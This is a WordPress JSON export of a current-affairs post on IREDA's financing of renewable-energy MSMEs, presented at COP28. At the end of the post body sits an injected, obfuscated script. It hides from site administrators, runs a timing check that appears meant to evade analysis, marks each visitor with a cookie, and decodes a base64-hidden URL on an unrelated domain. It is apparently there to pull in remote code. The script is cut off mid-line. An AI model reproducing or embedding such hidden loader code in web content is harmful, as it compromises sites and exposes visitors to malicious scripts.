{"id":515,"date":"2023-12-12T12:00:20","date_gmt":"2023-12-12T12:00:20","guid":{"rendered":"https:\/\/iasquest.com\/?p=515"},"modified":"2026-02-11T19:27:37","modified_gmt":"2026-02-11T19:27:37","slug":"dual-financing-approach-being-adopted-to-elevate-msmes-contribution-in-renewable-energy-transition-ireda-cmd-at-cop28-2","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/dual-financing-approach-being-adopted-to-elevate-msmes-contribution-in-renewable-energy-transition-ireda-cmd-at-cop28-2\/","title":{"rendered":"Dual Financing Approach being adopted to Elevate MSMEs&#8217; Contribution in Renewable Energy Transition: IREDA CMD at COP28"},"content":{"rendered":"\n<ul class=\"wp-block-list\">\n<li>Indian Renewable Energy Development Agency Limited (IREDA) highlighted the significance of lending to Micro, Small &amp; Medium Enterprises (MSMEs) in the Renewable Energy sector, emphasizing both its economic and environmental contributions. <\/li>\n<\/ul>\n\n\n\n<ul class=\"wp-block-list\">\n<li>During a session on &#8220;Pioneering Sustainability in MSMEs: Envisioning Global Growth and Local Impact. &#8220;Organized by the International Solar Alliance and CII, as part of COP 28 in Dubai today, December 10, 2023, IREDA&#8217;s commitment to promoting environmental sustainability. The commitment involves increasing the participation of MSMEs in the Renewable Sector through accessible loan facilities, reinforcing the organization&#8217;s dedication to a sustainable future.\n<ul class=\"wp-block-list\">\n<li>Indian Renewable Energy Development Agency Limited (IREDA) is a <strong>Mini Ratna (Category \u2013 I) <\/strong>Government of India Enterprise under the administrative control of <strong>Ministry of New and Renewable Energy (MNRE).<\/strong><\/li>\n\n\n\n<li>IREDA is a Public Limited Government Company established as a Non-Banking Financial Institution in 1987 engaged in promoting, developing and extending financial assistance for setting up projects relating to new and renewable sources of energy and energy efficiency\/conservation with the motto:<strong> \u201cENERGY FOR EVER\u201d<\/strong><\/li>\n\n\n\n<li>IREDA has been notified as a <strong>\u201cPublic Financial Institution\u201d <\/strong>under <strong>section 4 \u2018A\u2019 of the Companies Act, 1956<\/strong> and registered as <strong>Non-Banking Financial Company (NBFC)<\/strong> with Reserve Bank of India (RBI)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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